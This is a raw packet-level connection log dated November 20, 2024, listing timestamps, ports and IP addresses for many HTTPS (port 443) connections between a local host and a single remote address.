Nov 20, 2024 01:19:06.033189058 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.671669960 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.672220945 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.672233105 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.672812939 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.672817945 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.675182104 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.675647020 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.675668955 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.676053047 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.676057100 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.677531958 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.677896976 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.677913904 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.678102016 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.678248882 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.678261042 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.678615093 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.678630114 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.678973913 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.678987026 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.684808016 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.685170889 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.685188055 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.685607910 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.685612917 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.771111012 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.771189928 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.771246910 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.771442890 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.771461964 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.771472931 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.771478891 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.774177074 CET	50081	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.774281025 CET	443	50081	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.774400949 CET	50081	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.774581909 CET	50081	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.774622917 CET	443	50081	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.778826952 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.778877974 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.778939962 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.778948069 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.779023886 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.779071093 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.779177904 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.779186010 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.779191017 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.779194117 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.780329943 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.780354023 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.780415058 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.780427933 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.780539989 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.780594110 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.780594110 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.780610085 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.780622005 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.781788111 CET	50082	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.781815052 CET	443	50082	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.782093048 CET	50082	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.782213926 CET	50082	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.782227039 CET	443	50082	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.782583952 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.782613039 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.782712936 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.782721043 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.782829046 CET	50083	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.782854080 CET	443	50083	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.782855988 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.782855988 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.782876968 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.782955885 CET	50083	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.783039093 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.783056021 CET	50083	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.783082008 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.783082962 CET	443	50083	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.783129930 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.785063982 CET	50084	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.785089016 CET	443	50084	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.785145998 CET	50084	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.785268068 CET	50084	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.785283089 CET	443	50084	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.789107084 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.789269924 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.789362907 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.789388895 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.789403915 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.789416075 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.789422035 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.791433096 CET	50085	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.791455984 CET	443	50085	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.791515112 CET	50085	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.791616917 CET	50085	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.791625023 CET	443	50085	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.428368092 CET	443	50085	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.428991079 CET	50085	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.429019928 CET	443	50085	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.429321051 CET	50085	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.429327011 CET	443	50085	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.439625978 CET	443	50081	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.439974070 CET	50081	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.440046072 CET	443	50081	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.440499067 CET	50081	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.440519094 CET	443	50081	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.448935032 CET	443	50083	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.449301004 CET	50083	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.449314117 CET	443	50083	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.449701071 CET	50083	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.449709892 CET	443	50083	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.450762033 CET	443	50082	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.451100111 CET	50082	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.451107979 CET	443	50082	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.451467037 CET	50082	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.451472044 CET	443	50082	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.469760895 CET	443	50084	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.470172882 CET	50084	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.470200062 CET	443	50084	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.470563889 CET	50084	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.470570087 CET	443	50084	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.531136990 CET	443	50085	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.531213045 CET	443	50085	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.531281948 CET	50085	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.531481028 CET	50085	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.531502962 CET	443	50085	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.531514883 CET	50085	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.531522036 CET	443	50085	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.534746885 CET	50086	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.534785032 CET	443	50086	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.534857988 CET	50086	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.535856962 CET	50086	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.535867929 CET	443	50086	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.542699099 CET	443	50081	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.542732954 CET	443	50081	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.542783022 CET	50081	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.542810917 CET	443	50081	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.542954922 CET	443	50081	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.542994976 CET	50081	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.543024063 CET	443	50081	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.543039083 CET	50081	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.543047905 CET	443	50081	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.545452118 CET	50087	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.545474052 CET	443	50087	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.545624018 CET	50087	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.545773029 CET	50087	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.545787096 CET	443	50087	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.554539919 CET	443	50083	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.554598093 CET	443	50083	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.554712057 CET	50083	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.554817915 CET	50083	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.554832935 CET	443	50083	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.554861069 CET	50083	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.554867029 CET	443	50083	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.557493925 CET	50088	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.557528973 CET	443	50088	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.557635069 CET	50088	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.558011055 CET	50088	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.558026075 CET	443	50088	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.558523893 CET	443	50082	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.558553934 CET	443	50082	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.558617115 CET	50082	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.558628082 CET	443	50082	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.558691025 CET	443	50082	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.558737993 CET	50082	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.558911085 CET	50082	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.558917046 CET	443	50082	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.558926105 CET	50082	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.558932066 CET	443	50082	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.561454058 CET	50089	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.561484098 CET	443	50089	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.561554909 CET	50089	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.561676979 CET	50089	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.561691046 CET	443	50089	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.574824095 CET	443	50084	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.574893951 CET	443	50084	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.574964046 CET	50084	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.575061083 CET	50084	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.575073957 CET	443	50084	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.575083971 CET	50084	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.575088978 CET	443	50084	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.577208042 CET	50090	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.577235937 CET	443	50090	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:07.577306032 CET	50090	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.577476978 CET	50090	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:07.577498913 CET	443	50090	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.181610107 CET	443	50087	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.182080030 CET	50087	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.182105064 CET	443	50087	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.182532072 CET	50087	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.182537079 CET	443	50087	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.214931011 CET	443	50088	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.215425014 CET	50088	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.215439081 CET	443	50088	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.215862989 CET	50088	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.215867996 CET	443	50088	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.216214895 CET	443	50090	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.216511965 CET	50090	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.216521025 CET	443	50090	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.216872931 CET	50090	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.216877937 CET	443	50090	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.221257925 CET	443	50086	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.221656084 CET	50086	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.221673965 CET	443	50086	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.221726894 CET	443	50089	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.222115040 CET	50086	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.222121000 CET	443	50086	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.222228050 CET	50089	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.222253084 CET	443	50089	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.222645044 CET	50089	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.222651005 CET	443	50089	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.283685923 CET	443	50087	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.283724070 CET	443	50087	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.283823967 CET	50087	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.283852100 CET	443	50087	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.284077883 CET	50087	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.284136057 CET	50087	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.284140110 CET	443	50087	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.284157991 CET	50087	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.284363031 CET	443	50087	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.284409046 CET	443	50087	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.284477949 CET	50087	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.286811113 CET	50091	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.286851883 CET	443	50091	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.286967993 CET	50091	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.287162066 CET	50091	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.287167072 CET	443	50091	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.315180063 CET	443	50090	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.315212011 CET	443	50090	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.315278053 CET	50090	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.315289974 CET	443	50090	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.315368891 CET	443	50090	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.315500021 CET	50090	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.315592051 CET	50090	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.315609932 CET	443	50090	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.315619946 CET	50090	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.315628052 CET	443	50090	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.316255093 CET	443	50088	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.316278934 CET	443	50088	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.316359043 CET	50088	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.316365957 CET	443	50088	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.316740990 CET	50088	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.316745996 CET	443	50088	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.316756010 CET	50088	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.316759109 CET	443	50088	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.316760063 CET	443	50088	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.319278002 CET	50093	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.319319010 CET	50092	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.319327116 CET	443	50093	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.319375992 CET	443	50092	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.319484949 CET	50093	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.319541931 CET	50092	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.319729090 CET	50093	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.319747925 CET	443	50093	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.319808006 CET	50092	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.319828033 CET	443	50092	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.327199936 CET	443	50086	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.327543974 CET	443	50086	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.327629089 CET	50086	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.327667952 CET	50086	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.327677965 CET	443	50086	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.327692032 CET	50086	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.327697039 CET	443	50086	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.330130100 CET	50094	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.330153942 CET	443	50094	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.330441952 CET	50094	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.330562115 CET	50094	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.330588102 CET	443	50094	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.336852074 CET	443	50089	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.336911917 CET	443	50089	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.336965084 CET	443	50089	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.336977959 CET	50089	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.336994886 CET	443	50089	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.337018013 CET	50089	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.337047100 CET	50089	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.423538923 CET	443	50089	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.423634052 CET	443	50089	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.423641920 CET	50089	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.423686028 CET	50089	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.423923016 CET	50089	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.423923016 CET	50089	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.423943996 CET	443	50089	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.423954964 CET	443	50089	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.434942007 CET	50095	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.434962988 CET	443	50095	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.435643911 CET	50095	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.435805082 CET	50095	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.435811043 CET	443	50095	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.932559013 CET	443	50091	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.957261086 CET	50091	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.957283974 CET	443	50091	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.958168030 CET	50091	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.958173990 CET	443	50091	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.959109068 CET	443	50093	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.959436893 CET	50093	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.959450960 CET	443	50093	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.960100889 CET	50093	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.960107088 CET	443	50093	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.967462063 CET	443	50092	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.967853069 CET	50092	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.967875004 CET	443	50092	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.968346119 CET	50092	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.968352079 CET	443	50092	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.982227087 CET	443	50094	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.989881039 CET	50094	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.989892006 CET	443	50094	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:08.997044086 CET	50094	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:08.997052908 CET	443	50094	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.057568073 CET	443	50091	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.057632923 CET	443	50091	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.057679892 CET	443	50091	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.057759047 CET	50091	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.057775974 CET	443	50091	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.057805061 CET	50091	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.057821989 CET	50091	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.059514999 CET	443	50093	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.059560061 CET	443	50093	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.059628963 CET	50093	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.059638977 CET	443	50093	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.059700966 CET	443	50093	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.059808016 CET	50093	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.059830904 CET	443	50093	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.059849977 CET	50093	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.059858084 CET	443	50093	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.063189983 CET	50093	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.063194990 CET	443	50093	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.068900108 CET	443	50092	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.068922997 CET	443	50092	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.069025993 CET	50092	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.069039106 CET	443	50092	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.069257975 CET	443	50092	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.069348097 CET	50092	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.073791027 CET	443	50095	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.092256069 CET	50095	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.092269897 CET	443	50095	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.096612930 CET	443	50094	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.096754074 CET	443	50094	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.096842051 CET	50094	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.117361069 CET	50095	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.117367029 CET	443	50095	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.121175051 CET	50094	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.121181965 CET	443	50094	13.107.246.45	192.168.2.5
